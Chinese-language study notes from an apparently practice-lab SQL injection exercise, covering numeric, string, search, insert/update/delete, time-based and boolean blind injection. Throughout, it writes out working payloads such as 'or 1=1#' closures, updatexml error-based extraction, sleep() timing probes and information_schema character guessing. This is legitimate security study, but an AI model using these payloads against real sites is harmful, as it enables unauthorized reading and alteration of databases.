這里因為實驗的時候只記錄了一部分所以就展示一部分
1.1.1數字型注入
(1)看到界面發現是查詢id功能,沒有在url里看到有傳參所以應該是post方法提交數據。
(2)進行sql注入之前我們最好是先想像一下這個功能提交的參數到了后台之后后台是怎樣的操作的,對於當前的頁面我猜測后台是這樣操作
現接受我的id請求然后帶入到查詢語句
$id=$_POST['id']
select 字段1,字段2 from 表名 where id = $id
可以用下面的語句添加在等號后面來測試是否真確(post請求通過抓包的方式來進行測試)
1 or 1=1;
可以看到返回的是200
然后查看返回的結果可以看到把所有的結果都查詢出來了。所以有漏洞並且是數字型的
1.1.2 字符型注入
查看頁面發現是get請求
(1)首先也是猜想后台進行的操作,因為是查詢名字,先將我們查詢的數值賦給一個變量
$uname=$_GET['username']
select 字段1,字段2 from 表名 where username='$uname ' or 1=1#';
or = 1=1#驗證漏洞是否存在,#號注釋閉合‘’
測試結果
1.1.3 搜索型以及xx型注入
(1)搜索型
看到界面是用戶名查找我首先還是進行猜測后台的操作,猜測后台可能使用的是mysql的搜索功能,mysql查詢語句
Select * from member where username like ’$$’;
對於我們滲透者來時要進行一個閉合構造
Payload:xxxx%' or 1=1 #
測試結果
(2)xx型
查看頁面發現與搜索型類似,但是測試發現拼接閉合的語句不同,查看源碼發現是括號閉合,所以可以得到payload的類型是多種多樣的。
原理方法與搜索型類似,所以構造payload
xx') or 1=1 #
但實際滲透測試過程中不可能得到目標網站的源碼,這時候就需要根據經驗和多測試。比如發現一個輸入框,就首先進行單雙引號測試
aaa” or 1=1# 或者 aaa’or 1=1#等等等。
主要是通過輸入來看返回,來看我們的輸入有沒有參與到數據庫后台的運算里面.
1.1.4”insert/updata”注入
(1)insert
看到界面發現是注冊猜測后台數據庫操作應該是insert命令,我們點擊注冊,我們先進行單引號測試
提交發現出現錯誤意味着提交的語法在后台參與了操作。
然后我們得知道mysqlinsert語句的用法
Insert into member(username,pw,sex,phonenum,email,address)values(‘xxxxxxxx’11111,1,2,3,4);
要構造閉合首先在我們可以輸入的部分就是‘xxxx’里插入報錯函數
Updatexml()
kobe' and updatexml(1,version(),0)#
updataxml(是mysql對xml文檔函數進行出巡和修改的Xpath函數)
函數有三個參數第一個數指定xml文檔表的字段名稱,第二個是指定要替換的位置,第三個是新的值,但這三個值都是錯誤的。
第一個是不存在的,最后一個0因為前面的是不存在的所以替換也是沒有意義的。關鍵是中間的數值,中間的數值也可以用表達式的形式,函數會把這個表達式執行了然后以報錯的形式返回出來。
測試
發現沒有返回完整的版本號信息,這里因為我們沒有進行處理。
這里我們對函數進行處理加入concat函數意思是將傳進去的參數組合成一個字符串打印出來,concat也可以執行表達式也就是將 0x7e和version()結果組合成一個字符串打印出來
kobe' and updatexml(1,concat(0x7e,version()),0)#
kobe' and updatexml(1,concat(0x7e,database()),0)#
0x7e是~號的十六進制
測試:
xiaohong' or updatexml(1,concat(0x7e,database()),0) or '
發現成功返回報錯打印數據庫名稱
(2)update
首先登陸之后發現可以修改個人信息
Update語法與insert差不多我們將之前的palyload輸入
xiaohong' or updatexml(1,concat(0x7e,database()),0) or '
提交測試:
發現一樣可以返回報錯
1.1.5”delete”注入
首先看到界面有請求和刪除功能我們點擊刪除,之后再burp上查看
猜測因為對於后台來說其實就是獲取了id,然后進行刪除操作,所以我們就對id進行操作,還是使用之前的updatexml函數構造payload
1 or updatexml(1,concat(0x7e,database()),0)
將payload帶入burp里面,因為參數是url類型進行提交的所以要進行URL編碼
可以看到空格都變成了+號
最后看返回
成功報錯。
1.1.6盲注(基於時間)
Base time注入輸入單引號不會返回報錯,一般方法也不會返回報錯,
這時候我們猜測是否為base time 的注入
先打開控制台f12選擇網絡
然后輸入payload:kobe' and sleep(5)#
發現執行了我們的語句延遲五秒,證明存在base time的注入
然后就可以構造我們的payload
kobe' and if((substr(database(),1,1))='a',sleep(5),null)#
通過一個if語句讓數據庫名稱的第一個字符與a進行比較,如果一樣就會暫停五秒,如果不等於就為假不暫停。
然后就慢慢進行嘗試
1.1.7盲注(基於boolean)
1.基於boolean的與基於time的一樣,用之前的方法都不會返回報錯。
2.不管是輸入正確,還是輸入錯誤,都只顯示兩種情況(可以認為是0或者1)
3.在輸入正確的情況下,輸入and1=1/and1=2發現可以判斷
測試,通過輸入正確的名字加上我們的語句and 1=1#發現,也成功返回信息。
然后輸入kobe' and 1=2#,發現有報錯,判定是存在sql注入的,但是前端返回信息特別少。用我之前的報錯函數payload輸入也不能獲得報錯。怎么辦呢。
辦法總比困難多
這里我們使用一個這里substr函數,先了解什么是substr函數
Select substr(database(),1,1);
意思是使用取出數據庫名稱的第一個字符一次取出一個。
那我們如何知道要猜的名稱長度,這里再用一個函數,length獲得長度,但是基於boolean函數的只能返回真假所以
Length(database())>8,通過這種方式來猜,
(1)測試payload
kobe' and ascii(substr(database(),1,1))>113#
前面為真如果and后面也為真就會返回kobe的信息,根據真假來判斷我們的猜測
先去猜測數據庫第一個字符的ascii碼大於113
返回為假
再次猜測
kobe' and ascii(substr(database(),1,1))=112#
返回為真。
現在進行進一步構造payload
將database()替換為查找數據庫里第一個表的表名,之后再去一個個判斷字符
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<112#
返回為真,說明數據庫第一個表的表名的第一個字符的ASCII碼小於112,然后以此類推就可以猜到完整的。
手工盲注效率還是很慢,所以我們只需要搞懂原理,在實際測試的過程中還是需要自動化的工具,例如sqlmap之類的,由於之前測試的時候沒有記錄,這里就不演示了。